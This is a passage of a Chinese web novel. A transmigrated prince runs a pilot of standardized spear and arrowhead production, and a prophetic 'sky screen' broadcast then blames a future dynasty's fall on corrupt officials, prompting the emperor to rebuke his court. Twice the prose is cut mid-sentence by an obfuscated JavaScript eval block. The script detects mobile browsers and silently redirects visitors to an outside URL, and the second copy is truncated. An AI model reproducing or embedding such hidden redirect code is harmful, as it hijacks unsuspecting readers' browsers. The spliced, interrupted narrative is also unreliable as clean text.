15.议政 天幕在腊月二十九小年夜出现,又在半个时辰后准时消散。 留给京城的震动,却远未平息。 乾清宫暖阁,炭火烧得很旺。景和帝坐在御案后,手里捏着几份刚送进来的密报。有关于天幕的街谈巷议汇总,有兵部对“军械改良坊”一事紧急问询将作监的回禀,还有几份来自不同派系朝臣的试探性奏疏。 王德安静立一旁,大气不敢出。 “效率提升三倍,成本降四成……”皇帝低声念着这几个数字,指节在案上敲了敲,“若是真的……” 他抬起眼,目光锐利:“王德安,宣杨继盛、郭振即刻进宫。还有,让工部尚书也来。户部钱谦益……也叫他来。” “是!” 一个时辰后,几位重臣齐聚暖阁。 兵部尚书杨继盛先开口:“陛下,天幕所言‘军械改良坊’,臣已急询将作监。将作监回禀,其下设各作坊,确有分工协作,然未如天幕所述那般精细明确。至于标准化零件、流水线组装等词,更是闻所未闻。然……若按此思路推演,似有可行之理。”他说话一贯谨慎,“效率提升三倍或难,但提升五成至一倍,或有可能。成本降低,关键在于减少整器报废、节省大匠工时。” 工部尚书道:“匠作之事,重在熟练与巧思。若强行拆分,恐失整体把控,反易出错。然若只针对部分制式、用量大的军械,如长枪、箭镞、普通刀剑,试行统一尺寸、分工打造,确可提高熟手匠人产出,亦能容更多学徒上手。” 镇远侯郭振最直接:“陛下,别的不懂,但打仗的知道,兵器坏了能快些修好、便宜些补充,那是天大的好事!边军那些破枪烂刀,有时候等几个月修不好,还得自己掏钱找铁匠。要是真能像天幕里说的,坏了只换坏的那截,普通小兵都能学着换,那可省大事了!老臣觉得,能试!” 户部尚书钱谦益最关心钱:“陛下,若真能省下四成军械耗费,户部压力将大减。只是……推行此事,初期恐需投入,统一模具、培训匠人、调整作坊,皆需银钱。且触动现有匠户利益,亦可能生乱。” 皇帝听众人说完,沉默片刻,道:“天幕所显,乃未来之‘哀帝’所为。其法虽有可取,然其国终亡。此中分寸,如何把握?” 这是个诛心之问。学“哀帝”的法子,会不会也走上“哀帝”的亡国路? 杨继盛沉吟道:“陛下,法无善恶,在乎用之者,在乎时势。观天幕所述,哀帝之法,其弊或在推行过急、不察民力、不计后果。若朝廷主持,稳步试行,以实效为据,逐步推广,或可取其利而避其害。” 郭振点头:“对!好东西为啥不用?难道因为他后来败家了,连他小时候尿炕也是错的?一码归一码!” 钱谦益也道:“陛下,九殿下此前所提冬储诸法,亦是务实求效,虽有小挫,然大体有益。此番天幕再显军械改良之利,或可……让九殿下参与筹议?毕竟,天幕所显,与九殿下近来所为,隐隐有呼应之处。” 皇帝眼中精光一闪。这正是他心中所想。 “传旨,”皇帝不再犹豫,“着兵部、工部、户部,即刻会同议定‘军械改良试行条陈’。以京营、将作监下属作坊为先,择一两种制式军械试行标准化打造与流水修缮。九皇子殷澈,加‘军械改良筹议协理’,可参与议定,提供方略。一切以‘稳妥、实效、节用’为要,不得扰民,不得影响现有武备供应。” “臣等遵旨!” 旨意传到格物院时,般澈正在根据天幕内容,结合李九章找出的边军军械损耗数据,草拟一份有关兵械改良多奏议。 “殿下,兵部来函,请您明日巳时初刻至兵部衙门,参与首次部议。”小德子刚从兵部回来,递上帖子。 “知道了。”般澈接过帖子,目光落在自己刚写了几页的构想上,“赵师傅和孙师傅呢?黄七那边有消息吗?” “两位师傅在院里弄车轴模型,说要先摸透连接处怎么标准化。黄七公公那边……宫里递了信出来,说他对殿下提的‘枪头统一铸模’很感兴趣,画了几张草图,晚些时候想办法送出来。” “好。”般澈点头,“李九章,我让你算的账,算好了吗?” “算好了殿下!”李九章拿着一叠纸过来,“按现有将作监打造一杆长枪的料、工、时折算,若实行分工,并统一枪头、枪杆接口尺寸,初期因模具、培训,成本可能微增。但一旦熟练,同样人数,日产至少可增五成。若再将损坏修缮考虑进去,因只需更换坏件,长期看,总耗费能降三成左右。这是最保守的估计。” “把数据整理清楚,图表做得再明白些,明日带去兵部。”般澈吩咐。 他又看向小德子:“宣府大同那边,有新消息吗?” “下午刚收到大同曹总兵的快信。”小德子忙道,“曹总兵说,分级配给试行营第一个月的炭薪结余已经算出来了,按殿下当初说的比例折成了银钱,虽不多,但已经发下去了。领到钱的士卒很是高兴,消息传开,旁边几个营都眼红,私下打听他们营什么时候也能这么搞。 曹总兵问,这笔奖励的钱,后续是走兵部账,还是户部账?另外,老卒土法里‘硝石吸潮’用在火药库,效果明显,潮湿天气火药哑火的情况少了近半,曹总兵建议推广。” “回信给曹总兵,嘉许其成效。奖励的钱,让他先走大同镇的账,列明明细,我会想办法从别处补给他,不走兵部户部,免得扯皮。硝石吸潮法,可在他辖内各营有火药库处推广,注意安全。另,问他军中可有擅长修理军械的老兵或匠户,有无对现有刀枪制式、修缮流程的不满或建议,详细收集报来。” 般澈思路清晰,曹斌这个“试点”用好了,就是活广告。 “是!” “宣府王总兵那边呢?” “王总兵……还是老样子,报了些不痛不痒的进展。不过听说大同那边真发了钱,他那边好像也有点动静了,昨天开始派人重新查验各营泥炭炉使用情况。” “由他去。咱们的重点,现在要转到军械这件事上。”般澈揉了揉眉心。他知道,与改善边储相比,改革军械制造涉及的利益更深、水更浑。将作监、工部、兵部、各地军镇,乃至背后的勋贵、匠户行会,盘根错节。 但这也是天幕给他指明的,能最快、最直接展现“大才”、赢得军方实力派支持的方向。一旦成功,省下的钱粮、提升的武备效率,将是实实在在的功绩,足以让许多质疑闭嘴。 第二天巳时,兵部衙门。 一间专门的议事堂内,坐满了人。兵部尚书杨继盛主持,工部、户部侍郎在列,还有将作监大监、军器局提举等实务官员。郭振老将军也赫然在座,说是来“听听”。 般澈作为协理,坐在末位。他带来的那份构想和李九章算的数据,已经抄送各位大人案头。 会议开始,气氛有些凝重。将作监大监首先发言,委婉表示作坊现有运作模式乃多年积累,贸然改动恐影响供应,且匠户各有擅长,强行分工恐降低技艺。 工部侍郎则担心统一标准后,武器制式僵化,不利于应对多变战况。 户部侍郎最直接:初期投入的钱从哪来?节省的钱何时能见?账怎么算? 面对质疑,般澈没有急于反驳,而是等众人说完,才站起身。 “诸位大人所虑,皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948216|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在情理。在下所提,并非要颠覆现有匠作体系,而是‘试点优化’。”他语气平和, “第一步,不动现有精锐匠户,不碰复杂军械。只选最普通、用量最大、损耗最快的长枪、箭镞两种,在京营匠坊或将作监下设一两个作坊试行。” 他走到墙上挂着的京营布防图前,指向一点:“比如,京西大营的匠坊。其目前年产长枪约两千杆,箭镞数万。我们只需在此坊内,划出一个小院,调十至二十名中低阶匠户及学徒,专司此事。” “第二步,标准化,并非要天下枪头一模一样。而是定下三到五种标准尺寸和接口。比如枪头分‘轻刺’、‘重破’两种制式,与枪杆连接处统一用两种榫卯或铁箍规格。箭镞同理。模具由将作监统一制作下发,初期成本,可由……在下的王府私库先行垫付一部分。”般澈看了一眼杨继盛和郭振。他知道,自己必须拿出诚意和担当。 郭振眉毛一扬,没说话。杨继盛微微颔首。 “第三步,流水修缮。在京西大营试行,收集本月损坏长枪、战刀。不要求学徒打造整器,只培训他们识别标准部件,更换坏损枪头、修补刀身缺口。修缮好的兵器,单独标记,发还营中试用,记录反馈。” “如此,涉及范围小,不影响大局。初期投入有限,风险可控。而一旦见效,”他指向李九章那份数据, “哪怕只达成预估的一半,日产增两成,长期耗费降一成半,对于边镇数十万大军而言,省下的便是金山银海。更不用说,战具得以及时修缮,于军心战力之助益。” 他顿了顿,看向将作监大监:“至于匠户技艺,分工并非扼杀,而是让擅长锻打的专精锻打,擅长打磨的专精打磨,各展所长。且因产出增加、耗费降低,朝廷或可有余力提高匠户酬劳,尤其是那些在标准化、流水修缮中表现优异者。此为‘人尽其才,物尽其用,国得其利’。” 这一番话,有步骤,有范围,有数据,有风险控制,还有对各方利益的顾及(至少是表面上的)。尤其是最后提到可能提高匠户酬劳,让将作监大监的脸色缓和了不少。 杨继盛看向工部、户部侍郎:“二位大人以为如何?” 工部侍郎沉吟:“若只限于一两种简单军械,于一两个作坊试行……似可斟酌。” 户部侍郎则对“王府垫付部分初期费用”感兴趣:“九殿下愿为国分忧,其心可嘉。只是不知垫付几何?后续又如何结算?” 般澈道:“初步估算,模具制作、小院调整、初期培训,约需银两千两。此银在下可出。待试行见效,节省之费用,再按比例归还王府,或充作后续推广之资亦可。” 两千不是小数目,但对他一个皇子来说,挤一挤还能拿出来。这是赌注,也是投名状。 郭振哈哈一笑:“两千两?老子一年的俸禄都没这么多!小子有魄力!老夫看行!就在京西大营搞,老夫打个招呼,让下面那些杀才配合点!” 有郭振表态,兵部尚书杨继盛最终拍板:“既如此,便依九殿下所议,在京西大营匠坊择院试行‘长枪、箭镞标准化打造与流水修缮’。由兵部、工部、将作监派人协同九殿下办理。试行期……三个月。每月呈报进展数据。若无明显成效或弊端过大,即行停止。” “臣等无异议。” 部议结束,般澈走出兵部衙门,冬日阳光有些刺眼。他知道,真正的硬仗,刚刚开始。两千两银子砸下去,三个月时间,他必须让京西大营那个小作坊,拿出足够有说服力的成绩。 殷澈望向冬日的那抹阳光,恍惚间,对自己刚穿越而来的愿望都快忘记了。 他被推着走了太远太远的路。 16.他不能错,也不会错 从兵部衙门回来,般澈直接去了京西大营。 郭振老将军的面子果然管用,大营的主将是个姓吴的参将,早得了吩咐,对般澈十分客气,亲自带他去看营里的匠坊。 匠坊在营地西北角,几排低矮的砖房,炉火终日不熄,叮叮当当的打铁声不绝于耳。空气里弥漫着煤烟、汗水和铁锈的味道。 吴参将引着般澈走进其中最大的一间工棚。里面约有三十来个匠户,大多赤着上身,皮肤被炉火熏得黝黑发亮,正埋头干活。有的在锻打烧红的铁条,有的在磨制枪头,有的在组装枪杆。角落里堆着些成品和半成品的长枪、腰刀。 “殿下,这就是营里匠坊的主力了。那边几个老师傅,是营里的宝贝,打一把好刀得四五天。”吴参将指着几个年纪稍大的匠人道,“其他的多是学徒和普通匠户,干些粗活。” 般澈点点头,目光扫过工棚。和他预想的差不多,这里的运作方式很传统,一个匠人负责一件兵器的绝大部分工序,最多有一两个学徒打下手。效率确实不高,而且一旦某个环节的匠人生病或手艺不精,整件兵器都可能出问题。 “吴将军,我想在匠坊旁边,单独划出一个小院,不用大,两三间屋子连带一个小空地就行。再从现有匠户里,调十个手脚麻利、但手艺不算顶尖的,外加五个机灵的学徒,专归我调用三个月。工钱照旧由营里发,若有额外产出或节省,另有奖赏。您看可否?” 吴参将爽快道:“殿下吩咐,自然照办。旁边就有一个闲置的小院,以前堆杂物的,收拾一下就能用。人也好说,我让匠头去挑。” “有劳吴将军。另外,近期营里损坏待修的长枪、腰刀,可否先集中送到那小院?我想从修缮入手试试。” “行,我这就吩咐下去。” 事情比预想的顺利。郭振打了招呼,下面的人便不敢怠慢。当天下午,小院就腾出来了。吴参将派了兵士帮着清扫,赵、孙两位匠人也被般澈从王府接了过来,开始规划布局。 第二天,挑好的十五个人也到了。十个匠户,年纪都在二三十岁,手艺中等,属于营里干活的主力但不出彩。五个学徒更年轻些,眼里带着好奇和忐忑。他们被集合在小院里,都有些不知所措,不知道这位皇子殿下要他们做什么。 般澈没讲大道理,只简单说了两句:“从今天起,你们十五人专管两件事:按统一尺寸打造长枪枪头和箭镞;按统一方法,快速修缮损坏的长枪和腰刀。三个月,看我们能干出什么名堂。干得好,除了原本工钱,另有赏银。” 听到“赏银”,一些人眼睛亮了。 接着,般澈让赵匠人把他们分成三组。 第一组五人,专司锻打。黄七从宫里递出来的枪头、箭镞标准尺寸图纸和几个简易铁模具已经到了。这五人不用自己设计,只需要按照模具,将烧红的熟铁反复锻打成固定形状。开始可能不熟,但只做这一件事,熟能生巧。 第二组五人,专司打磨开刃。锻打好的毛坯传到他们手里,用统一规格的磨石,打磨出锋刃。同样,只做这一道工序。 第三组五人,全是学徒,专司修缮和简单组装。般澈让人搬来几十杆损坏程度不同的长枪,有枪头松脱的,有枪杆裂开的,有枪头卷刃的。他亲自示范,如何用标准尺寸的新枪头替换坏的,如何用铁箍加固裂开的枪杆,如何将完好的部件重新组装。要求只有两个:快,牢。 分工明确,各司其职。 头两天,一片混乱。锻打组不习惯用模具,打出来的枪头歪七扭八。打磨组掌握不好力度,废了好几个。修缮组的学徒更是手忙脚乱,不是锤子砸到手,就是装不回去。 但般澈、赵、孙三人就守在小院里,手把手教,不断调整。黄七甚至通过关系,找了个休沐的宫中老匠人偷偷出来指点了一个下午。 三天后,情况开始好转。锻打组找到了用模具的窍门,废品率下降。打磨组逐渐掌握了手感。修缮组的学徒,在拆装了十几杆坏枪后,也慢慢熟练起来。 与此同时,李九章在格物院也没闲着。他设计了一套简单的记录表格,用来统计这个小院每日的“投入”和“产出”:用了多少铁料、多少炭、多少工时,产出了多少合格枪头、箭镞,修缮好了多少杆枪、多少把刀。数据每天由专人送回格物院,李九章整理核算。 七天后,小院产出了第一批所谓的标准化零件:五十个制式枪头,一百二十个箭镞。修缮好了十五杆长枪,八把腰刀。 般澈让吴参将派人来验收。营里的老匠头来看过,拿起新打的枪头掂了掂,又看了看修缮好的长枪,点点头:“尺寸是齐整,修得也牢靠。就是这枪头……看着少点灵性,太规矩了。” 般澈道:“要的就是规矩。规矩了,才能换,才能快。” 老匠头没再多说,但眼神里还是有些保留。 第十天,小院的效率明显提升。同样的十五个人,当天产出枪头八十个,箭镞两百个,修缮长枪二十五杆,腰刀十二把。 更重要的是,经过几天磨合,各组之间的配合顺畅了许多,流水线的雏形开始显现。 李九章算出来的数据显示,按当前效率折算,如果这十五人按老法子各自打造整枪,十天最多产出二十杆。而现在,他们产出的零件足以组装上百杆新枪,还额外修缮了数十件兵器。虽然零件标准化和分工培训消耗了前期时间,但一旦上轨道,效率的提升是显而易见的。 般澈将前十天的数据整理成一份简报送往兵部。他没有夸大,只是如实记录:投入多少,产出多少,效率对比如何,当前存在的问题(如部分学徒修缮速度仍慢,标准化枪头与旧枪杆接口偶有不匹配需微调)。 报告送到杨继盛案头,这位老成持重的兵部尚书看完,只批了两个字:“续观。” 而这份报告的内容,不知通过什么渠道,也在小范围内流传开来。关注此事的人,都知道了九皇子那个小作坊,似乎真的弄出了点名堂。 腊月很快过去,年关在兵营的号角与匠坊的叮当声中来临。 除夕那日,般澈特意让人从王府支了笔银子,给京西大营小院里那十五人发了额外的“年赏”,每人二两银子,不多,但足够让他们过个肥年。十五个人捏着银子,脸上的笑容真切了许多。 他们是最直接的受益者,原本只是营里不上不下的普通匠户学徒,如今有了专长的活计,效率高了,还有额外奖赏,干劲自然不同。 正月初三,年味还未散尽,巡查边关的小德子一行人风尘仆仆地回来了。 小德子带回的消息好坏参半。 宣府镇在王焕总兵“更加尽心”的督促下,离地垛台、泥炭炉的使用情况有所改善,但改进幅度有限。就地取材依然迟缓,不过宣府那边似乎对大同曹斌的“硝石吸潮”法很感兴趣,已经开始仿效。冰橇运输依然暂停,要等下一个严冬。 大同镇的情况则乐观得多。曹斌那个试行营因为发了奖励,士气大振,周围几个营的士卒羡慕不已,都盼着自己营也能跟上。曹斌趁热打铁,又扩大了一个营试行分级配给。老卒土法推广顺利, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇帝沉吟片刻,道:“准。京西大营试点照常进行,每月详报。着大同总兵曹斌,择一前线营堡,试行战地军械快速修缮,所需标准零件,可由京西大营试点坊供应部分,具体由兵部协调。试行期亦为三个月。” “儿臣(臣)遵旨!” 散朝后,般澈被皇帝单独留了一会儿。 暖阁里只剩父子二人。皇帝看着般澈,这个儿子比上次见时似乎又瘦了些,但眼神更加沉静锐利。 “老九,”皇帝忽然用了个家常的称呼,“你垫那两千两银子,王府还周转得开?” 般澈一愣,没想到皇帝问这个,忙道:“回父皇,儿臣平日用度简省,尚可支撑。” “嗯。”皇帝点点头,“你那套法子,朕看了,是有些巧思。但你要记住,匠作之事,关乎国本,急不得,也乱不得。郭振说得对,不能因为怕他后来败家,就否认他小时候尿炕可能憋得比别人久。可你也要清楚,尿炕憋得再久,终究是尿炕,不是治国良策。分寸,你自己把握。” 这话说得极重,又极微妙。既肯定了般澈思路的价值,又警告他不可冒进,更提醒他“哀帝”的前车之鉴。 “儿臣谨记父皇教诲,必当慎之又慎,以实效为凭,步步为营。”般澈深深躬身。 “去吧。”皇帝挥挥手,“把你那小作坊,给朕盯好了。朕要看的,不是一两个月的热闹。” “是。” 走出乾清宫,冬日寒风扑面。般澈深吸一口气,他知道,父皇给了他机会,也划下了红线。接下来的每一步,都必须走得稳,走得实。 他的背后有很多人盯着,行错一步,便是万丈深渊。 他不能错,也不会错。 17.【今天来讲——亡国导火索】 正月十五,元宵节。 京城里张灯结彩,街上人来人往,很是热闹。但宫城之中,气氛却有些不同。 乾清宫暖阁里,景和帝看着案上几份奏折,眉头微皱。一份是户部呈报的上年度各地赋税概要,江南几府因去岁秋汛,税收较往年短少近两成。另一份是钦天监的奏报,提到去岁冬日北方苦寒,今春恐有倒春寒,提醒注意春耕。 皇帝揉了揉眉心。国库不丰,天时又不顺,这开年就不太让人省心。 就在这时,窗外的天色忽然变了。 不是暮色降临,而是那种熟悉的、柔和的、非自然的光,自天空洒下。 皇帝抬起头。王德安快步走进来,低声道:“陛下,天幕……又出现了。” 皇帝放下奏折,走到窗前。巨大的光幕正在夜空中展开,几乎覆盖了半个皇城上空。那个已经听过数次的、带着独特韵律的女声,再次直接响彻在每个人脑海中。 【各位历史爱好者们,元宵节快乐!欢迎回到“阿月说历史”直播间!前几期我们聊了哀帝那些超前想法和身边聚集的怪才。 【今天,我们要聊一个更沉重、但也更关键的话题——那些最终导致大胤王朝覆灭的导火索。】 光幕上的画面变得肃穆,背景音乐也转为低沉。 【一个王朝的灭亡,从来不是一朝一夕之事。它往往是由一系列事件层层叠加,最终在某一个临界点爆发。今天这期,我们就来梳理《亡国导火索》系列的第一篇——西北大旱与流民之乱。】 画面切换。出现的是大胤王朝的疆域图,西北部一大片区域被标红。 【根据史料记载,在哀帝殷澈登基后的第三年,也就是大胤历三百零七年春,西北三州——凉州、肃州、甘州,遭遇了百年不遇的特大旱灾。】 光幕上出现干裂的土地画面,禾苗枯黄,河道见底。 【这场旱灾有多严重呢?从当年正月到六月,整整半年,三州之地滴雨未下。本就贫瘠的土地彻底龟裂,春小麦绝收,秋粮根本无法播种。】 【更要命的是,】女声语气沉重,【这场旱灾并非孤立事件。在前一年,西北地区冬季就异常寒冷,大量牲畜冻死。连续两年的天灾打击,让本就生计艰难的西北边民,彻底陷入了绝境。】 画面中出现衣衫褴褛的百姓,拖家带口,背着简陋的行囊,在尘土飞扬的官道上蹒跚前行。 【粮食绝收,存粮耗尽。为了活命,大量农民开始离开家园,向相对富庶的关中、中原地区流动。这就是史书上记载的“西北流民潮”。最初只是零星几家,到当年夏末,已经形成了数以万计的流民队伍。】 乾清宫暖阁里,皇帝的脸色已经沉了下来。他盯着光幕上那些面黄肌瘦、眼神麻木的流民影像,手指无意识地收紧。 西北三州……那是边防要地,民风彪悍。若真有数万流民失去生计,四处流动…… 【然而,这里有一个很有意思的历史细节,】女声话锋一转,语气中带上了些许探究,【根据后世发掘的哀帝私人笔记和一些零散的朝议记录显示,哀帝本人对于这场旱灾的应对,其实并非毫无章法,甚至可以说,他的思路在当时是相当清晰和有针对性的。】 光幕画面切换,出现了一份笔记的影像。 字迹略显潦草,但能看清内容: “得西北三州春旱急报。旱情既成,首要在‘疏’不在‘堵’。当立即着手三事: 一,命三州官府开常平仓、义仓,设粥棚于城外,先稳住人心,防民变; 二,由户部、工部统筹,以工代赈,募流民疏浚河道、修建蓄水池塘,既可备将来,亦可令流民得食; 三,严令沿途州县不得驱赶流民,当设临时安置点,提供最低限度的食宿,并引导其向关中闲置荒地有序迁移垦殖……” 笔记旁边,还有简单的示意图,画着流民疏导路线和安置点分布。 【大家看,】女声分析道,【哀帝这个思路,核心是‘疏’和‘导’。承认旱灾的现实,承认流民产生的必然性,然后通过开仓放粮稳住基本盘。】 【以工代赈解决部分青壮年的生计,同时有序引导流民向有地可种的地方迁移。这比起简单粗暴地封锁驱赶,无疑要高明得多,也符合应对大规模自然灾害和流民问题的基本规律。】 皇帝看着光幕上的笔记内容,眼中闪过一丝复杂的神色。开仓、以工代赈、引导迁移……这些措施,确实比单纯的镇压要务实。如果真能如此执行,或许…… 【但是,】女声的语气转为沉重,【问题就出在这个‘但是’上。哀帝的想法是好的,可他下的旨意,到了地方执行层面,却完全变了味。】 画面中出现几份地方官府的文书影像。 【首先,开仓放粮。朝廷的旨意是‘立即开仓’,可到了地方,有的官员以‘需要清点库存、防止混乱’为由拖延;有的则只开放陈年旧粮,甚至往粥里掺沙土;更有甚者,私下将粮仓里的粮食倒卖牟利,然后上报说‘已按旨放粮’。】 光幕上出现了施粥的场景。粥稀薄如水,排队领粥的流民满脸失望。几个胥吏模样的人在旁边指指点点,神态倨傲。 【其次,以工代赈。朝廷拨下了钱粮,要求招募流民修水利。可这笔钱粮,从户部出来,经过层层盘剥,到地方上已经所剩无几。地方官用这点钱粮,要么只做表面文章,挖几条浅沟应付了事;要么干脆虚报工程,将钱粮揣进自己腰包。流民干了一天活,却领不到足额的口粮,怨气反而更大。】 画面中,一段所谓的“疏浚河道”工程,只有十几个人在懒洋洋地挖土,河道几乎看不出变化。旁边监工的小吏在打瞌睡。 【最后,引导迁移安置。朝廷要求沿途州县设点安置,提供基本食宿。可地方官嫌麻烦,更怕流民留下成为负担,要么随便找个荒郊野岭搭几个破棚子敷衍;要么干脆阳奉阴违,对流民过境不闻不问,甚至暗中驱赶。所谓的‘有序迁移’,变成了一场混乱的逃难。】 流民队伍疲惫地走在路上,路边偶尔可见简陋得几乎不能挡风的草棚。一些衙役在远处冷眼旁观,没有任何提供帮助的意思。 【哀帝在深宫里,收到的地方奏报,都是‘灾情得控’、‘流民安堵’、‘工程顺利’的粉饰太平之言。他或许察觉到了不对,也曾派过钦差核查,但地方官员上下勾结,欺上瞒下,钦差看到的,也只是精心准备的‘样板’。】 【就这样,一套本可以缓解危机、甚至可能将天灾损害降到最低的应对方案,因为执行层面的全面 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【哀帝有应对之策吗?有。他的策略符合规律吗?符合。但再好的策略,也需要廉洁高效的官僚系统去执行。当一个国家的治理根基已经烂掉的时候,顶层设计的任何良策,都可能在下沉过程中变质,甚至成为加速崩溃的催化剂。】 【西北之乱,就是一个最典型的例子——皇帝的想法未必错,但架不住下面的人,心坏了。】 【好了,本期《亡国导火索①:西北大旱与流民之乱——被腐败吞噬的良策》就讲到这里。下期预告:导火索②——财政崩溃背后的层层盘剥。感兴趣的记得点关注哦!我们下期再见!】 光幕缓缓变淡,最终消散在夜色中。 乾清宫暖阁内,一片死寂。只有远处隐约传来的元宵节欢闹声。 景和帝站在窗前,一动不动。他的脸隐在阴影中,看不清表情,但紧绷的下颌线和微微颤抖的手指,暴露了他内心的剧烈震动。 天幕的话,像一把冰冷的刀子,剖开了一个血淋淋的事实:亡国之祸,未必源于君王的昏聩,更可能来自于整个体系的腐烂。 皇帝再有想法,圣旨再英明,若执行的人是一群蛀虫,那一切终将化为泡影,甚至反噬自身。 他想起了自己这些年来批过的无数奏折,下达过的无数旨意。有多少,也像天幕中的哀帝那样,初衷是好的,却在层层下达中变了味?户部的亏空,工部的拖延,地方上的阳奉阴违…… “王德安。”皇帝的声音有些沙哑。 “老奴在。” “传旨,”皇帝缓缓转身,眼神幽深,“明日早朝后,召集内阁、六部九卿、都察院、六科廊,于文华殿议政。议题……就议‘吏治’与‘政令通达’。” “老奴遵旨。” 皇帝又沉默了良久,目光投向东北方向,那是静思阁如今的格物院所在。 老九搞的那些东西,农具、冬储、军械……想法都不错,也初见成效。 可若真有一天,他要推行更大的举措,面对更广的范围,会不会也遇到天幕中哀帝同样的困境?下面的人,会真心实意去执行吗?还是会阳奉阴违,甚至趁机捞取好处,最终把事情搞砸,把罪名推到他头上? “还有,”皇帝补充道,“让般澈也来。旁听。” “……是。” 天……要变了。 18.风起云涌 文华殿,大胤朝最高级别的议政场所之一。 殿内气氛凝重得几乎能拧出水来。内阁四位阁老、六部尚书及左右侍郎、都察院左右都御史、六科廊给事中等重臣,分班肃立,连呼吸都刻意放轻了。 皇帝尚未驾临,但空气中弥漫着的那种山雨欲来、雷霆将至的压抑感,让一些根基不深或心中有鬼的官员,后背已经渗出冷汗。昨夜天幕的内容,像一块巨石压在每个人心头,尤其是那句“心坏了”和那些地方官员贪墨享乐的画面,此刻想来尤为刺目。 般澈站在皇子班列的最末,位置靠后。 自他被任命为“协理”以来,文华殿的朝议也参加过几次,但从未感受过今日这般几乎凝滞的气氛。他知道,父皇这次,恐怕动了真怒。 “皇上驾到——” 随着内侍带着一丝紧绷的高唱,景和帝身着常服,大步走入殿中。他没有像往常那样平稳落座,而是站在御座前,目光如同冰冷的刀锋,缓缓扫过殿中每一个臣子。那目光里没有平日的深沉难测,只有毫不掩饰的审视,甚至……是压抑着的暴怒。 众臣心下俱是一寒,齐齐跪倒行礼:“臣等恭请皇上圣安!” 皇帝没有立刻叫起。他沉默着,让那份无形的压力在寂静中持续蔓延,直到一些跪伏在地的官员开始微微发抖。 “圣安?”皇帝终于开口,声音不高,却字字如冰锥,“朕看了昨夜的天幕,想到我大胤的江山社稷,想到那些被贪官污吏吞没的救命粮、救命钱,想到那些被逼得走投无路、只能揭竿而起的百姓……这‘安’字,朕听着,甚是刺耳。” 这话太重了! 直接将天幕中未来的亡国惨象与“贪官污吏”挂钩,更是影射当下。 “臣等有罪!”众臣将头埋得更低。 “有罪?何罪之有?”皇帝冷笑一声,“首辅周延儒,你先说,吏部近年考功,可察出多少‘心坏了’的官员?” 周延儒跪在最前面,额角见汗:“陛下……吏部考功,依朝廷典制,循例而行。贪墨渎职者,一经查实,必依律惩处。然……然天幕所言,乃未来之事,且多为地方胥吏、州县小官所为,或……或非现行考功所能尽察。” “哦?未来之事?”皇帝的声音陡然拔高,带着怒意,“那朕问你,去岁江淮水患,朝廷拨下八十万两赈灾银,三十万石粮。最后发到灾民手中的,还剩多少?户部报上来的损耗是三成,可朕派去的人暗中查访,报上来的数目,连五成都不到!那剩下的银子粮食,去哪儿了?喂了狗,还是喂了那些‘心坏了’的蠹虫?!” 这一声厉喝,如同惊雷在殿中炸响。 江淮赈灾案,朝中不少人都知道里面水分极大,但皇帝之前一直隐忍未发,今日却借着天幕的由头,直接掀开了盖子! 户部尚书钱谦益浑身一抖,几乎瘫软:“陛下……陛下明鉴!户部拨付皆有账可查,至于地方如何……如何支用,户部实在难以……” “难以什么?难以监管?难以核查?”皇帝打断他,怒极反笑,“好一个‘难以’!朕看你们不是‘难以’,是‘不愿’!是怕查得太深,牵扯太广,拔出萝卜带出泥,大家脸上都不好看!” 这话已是赤裸裸的指责,直指官僚体系官官相护的积弊。殿中不少重臣脸色发白。 皇帝不再看他们,目光转向都察院左都御史刘宗敏:“刘宗敏,你们都察院,风闻奏事,监察百官。这些年,弹劾地方贪墨、赈济不力的奏章,有多少?朕批红严查的,又有多少?最后真的查实问罪、以儆效尤的,又有多少?!” 刘宗敏冷汗涔涔:“陛下……臣……臣等确有失察之责。然地方关系盘根错节,查证不易,有时……有时牵涉到……”他不敢再说下去。 “牵涉到什么?牵涉到朝中有人?牵涉到地方督抚?还是牵涉到你们自己?!”皇帝步步紧逼,不留丝毫情面,“天幕说得对,再好的旨意,到了下面,也能给你办砸了!为什么?因为从上到下,心都坏了!都只想着自己那点私利,想着怎么糊弄朕,怎么从朝廷、从百姓身上刮油水!等到酿成大祸,流民四起,江山动荡,你们一个个还能跑得了?!” 皇帝越说越怒,猛地一拍御案:“看看你们!一个个食君之禄,不思忠君之事!平日里在朕面前侃侃而谈,忧国忧民,可落到实处呢?朕要推行新农具,有人暗中使绊子;朕要整顿边储,有人敷衍了事差点闹出人命;朕拨下的钱粮,一层层雁过拔毛!这大胤的江山,就是被你们这样一点点啃食空的!是不是非要等到像天幕里那样,几十万流民打到京城脚下,你们才肯醒?!” 这番怒火,积压已久,借着天幕的引子彻底爆发。殿中鸦雀无声,所有大臣都匍匐在地,连大气都不敢喘。几位老臣更是心中惊骇,皇帝这是要借题发挥,来一次彻彻底底的大清洗、大立威啊! 般澈也跪在人群中,心中震动。 他知道父皇会动怒,却没想到怒到如此地步,几乎是撕破脸皮,将朝堂上下不作为、乱作为的遮羞布扯得粉碎。这不仅仅是议事,这分明是问罪,是战前动员! 皇帝发泄了一通,胸中怒气稍平,但眼神更加冰冷锐利。他重新坐回御座,声音恢复了平静,却更令人胆寒:“都起来吧。” 众臣战战兢兢地起身,许多人腿都软了,低着头不敢直视。 “天幕给朕,也给诸位,敲了一记警钟。”皇帝缓缓说道,“亡国之祸,不在天,而在人。今日召诸卿来,不是听你们扯皮推诿,诉苦言难。朕要的,是解决之道,是刮骨疗毒的决心!” 他目光扫过众人:“自即日起,朕要看到改变。朕给你们机会,也给自己一个机会。” 